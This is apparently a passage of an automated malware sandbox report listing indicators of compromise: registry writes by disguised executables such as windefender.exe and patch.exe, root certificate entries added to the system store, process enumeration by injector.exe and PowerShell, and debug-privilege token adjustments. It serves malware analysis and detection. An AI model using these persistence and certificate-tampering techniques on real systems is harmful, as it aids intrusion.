\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-591 = "Malay Peninsula Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-448 = "Azerbaijan Daylight Time" vfPRQtvnMOEhv5fKseYxY6p9.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-1022 = "Bangladesh Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-51 = "Greenland Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-691 = "Tasmania Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time" vfPRQtvnMOEhv5fKseYxY6p9.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-581 = "North Asia East Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-932 = "Coordinated Universal Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)" vfPRQtvnMOEhv5fKseYxY6p9.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-461 = "Afghanistan Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-1021 = "Bangladesh Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time" vfPRQtvnMOEhv5fKseYxY6p9.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)" vfPRQtvnMOEhv5fKseYxY6p9.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-831 = "SA Eastern Daylight Time" vfPRQtvnMOEhv5fKseYxY6p9.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1" wscript.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-449 = "Azerbaijan Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-471 = "Ekaterinburg Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time" vfPRQtvnMOEhv5fKseYxY6p9.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time" vfPRQtvnMOEhv5fKseYxY6p9.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-472 = "Ekaterinburg Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-104 = "Central Brazilian Daylight Time" vfPRQtvnMOEhv5fKseYxY6p9.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time" vfPRQtvnMOEhv5fKseYxY6p9.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time" vfPRQtvnMOEhv5fKseYxY6p9.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-541 = "Myanmar Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix sqEXvCV.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time" vfPRQtvnMOEhv5fKseYxY6p9.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-551 = "North Asia Daylight Time" vfPRQtvnMOEhv5fKseYxY6p9.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-282 = "Central Europe Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-412 = "E. Africa Standard Time" windefender.exe -
description ioc Process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 190000000100000010000000ba4f3972e7aed9dccdc210db59da13c90300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc251d00000001000000100000008f76b981d528ad4770088245e2031b630b0000000100000012000000440069006700690043006500720074000000140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc35300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a82000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a SxwB3d43GyBiFZjfw9Lfxhee.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4 csrss.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 0f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 patch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 1400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a32000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 patch.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474 patch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob = 040000000100000010000000acb694a59c17e0d791529bb19706a6e40f0000000100000014000000ce0e658aa3e847e467a147b3049191093d055e6f0b0000000100000034000000420061006c00740069006d006f007200650020004300790062006500720054007200750073007400200052006f006f007400000053000000010000002400000030223020060a2b06010401b13e01640130123010060a2b0601040182373c0101030200c0140000000100000014000000e59d5930824758ccacfa085436867b3ab5044df01d0000000100000010000000918ad43a9475f78bb5243de886d8103c09000000010000000c000000300a06082b06010505070301030000000100000014000000d4de20d05e66fc53fe1a50882c78db2852cae47419000000010000001000000068cb42b035ea773e52ef50ecf50ec52920000000010000007b030000308203773082025fa0030201020204020000b9300d06092a864886f70d0101050500305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f74301e170d3030303531323138343630305a170d3235303531323233353930305a305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100a304bb22ab983d57e826729ab579d429e2e1e89580b1b0e35b8e2b299a64dfa15dedb009056ddb282ece62a262feb488da12eb38eb219dc0412b01527b8877d31c8fc7bab988b56a09e773e81140a7d1ccca628d2de58f0ba650d2a850c328eaf5ab25878a9a961ca967b83f0cd5f7f952132fc21bd57070f08fc012ca06cb9ae1d9ca337a77d6f8ecb9f16844424813d2c0c2a4ae5e60feb6a605fcb4dd075902d459189863f5a563e0900c7d5db2067af385eaebd403ae5e843e5fff15ed69bcf939367275cf77524df3c9902cb93de5c923533f1f2498215c079929bdc63aece76e863a6b97746333bd681831f0788d76bffc9e8e5d2a86a74d90dc271a390203010001a3453043301d0603551d0e04160414e59d5930824758ccacfa085436867b3ab5044df030120603551d130101ff040830060101ff020103300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100850c5d8ee46f51684205a0ddbb4f27258403bdf764fd2dd730e3a41017ebda2929b6793f76f6191323b8100af958a4d46170bd04616a128a17d50abdc5bc307cd6e90c258d86404feccca37e38c637114feddd68318e4cd2b30174eebe755e07481a7f70ff165c84c07985b805fd7fbe6511a30fc002b4f852373904d5a9317a18bfa02af41299f7a34582e33c5ef59d9eb5c89e7c2ec8a49e4e08144b6dfd706d6b1a63bd64e61fb7cef0f29f2ebb1bb7f250887392c2e2e3168d9a3202ab8e18dde91011ee7e35ab90af3e30947ad0333da7650ff5fc8e9e62cf47442c015dbb1db532d247d2382ed0fe81dc326a1eb5ee3cd5fce7811d19c32442ea6339a9 patch.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25 SxwB3d43GyBiFZjfw9Lfxhee.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703085300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc252000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a SxwB3d43GyBiFZjfw9Lfxhee.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 csrss.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4 patch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 040000000100000010000000e4a68ac854ac5242460afd72481b2a440f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a41400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f392000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 patch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 19000000010000001000000014c3bd3549ee225aece13734ad8ca0b81400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3040000000100000010000000e4a68ac854ac5242460afd72481b2a442000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 patch.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2212 powershell.exe 688 powershell.EXE 760 vfPRQtvnMOEhv5fKseYxY6p9.exe 2408 vfPRQtvnMOEhv5fKseYxY6p9.exe 2408 vfPRQtvnMOEhv5fKseYxY6p9.exe 2408 vfPRQtvnMOEhv5fKseYxY6p9.exe 2408 vfPRQtvnMOEhv5fKseYxY6p9.exe 2408 vfPRQtvnMOEhv5fKseYxY6p9.exe 2764 SxwB3d43GyBiFZjfw9Lfxhee.exe 1520 injector.exe 1520 injector.exe 1520 injector.exe 1520 injector.exe 1520 injector.exe 1520 injector.exe 1520 injector.exe 1520 injector.exe 1520 injector.exe 1520 injector.exe 1520 injector.exe 1520 injector.exe 1520 injector.exe 1520 injector.exe 1520 injector.exe 688 powershell.EXE 688 powershell.EXE 2488 powershell.EXE 1520 injector.exe 1520 injector.exe 1520 injector.exe 1520 injector.exe 1520 injector.exe 2488 powershell.EXE 2488 powershell.EXE 1520 injector.exe 1520 injector.exe 1520 injector.exe 1520 injector.exe 1520 injector.exe 1520 injector.exe 1520 injector.exe 1520 injector.exe 1520 injector.exe 1520 injector.exe 1520 injector.exe 2272 powershell.EXE 2304 csrss.exe 1520 injector.exe 1520 injector.exe 1520 injector.exe 2272 powershell.EXE 2272 powershell.EXE 2304 csrss.exe 1520 injector.exe 1520 injector.exe 1520 injector.exe 1520 injector.exe 1520 injector.exe 1520 injector.exe 2304 csrss.exe 1520 injector.exe 2304 csrss.exe 1520 injector.exe 1520 injector.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 468 Process not Found -
Suspicious use of AdjustPrivilegeToken 13 IoCs
description pid Process Token: SeDebugPrivilege 3032 CasPol.exe Token: SeDebugPrivilege 2212 powershell.exe Token: SeDebugPrivilege 688 powershell.EXE Token: SeDebugPrivilege 760 vfPRQtvnMOEhv5fKseYxY6p9.exe Token: SeImpersonatePrivilege 760 vfPRQtvnMOEhv5fKseYxY6p9.exe Token: SeSystemEnvironmentPrivilege 2304 csrss.exe Token: SeDebugPrivilege 2488 powershell.EXE Token: SeDebugPrivilege 2272 powershell.EXE Token: SeSecurityPrivilege 1112 sc.exe Token: SeSecurityPrivilege 1112 sc.exe Token: SeSecurityPrivilege 2792 sc.exe Token: SeSecurityPrivilege 2792 sc.exe Token: SeDebugPrivilege 2704 powershell.EXE -
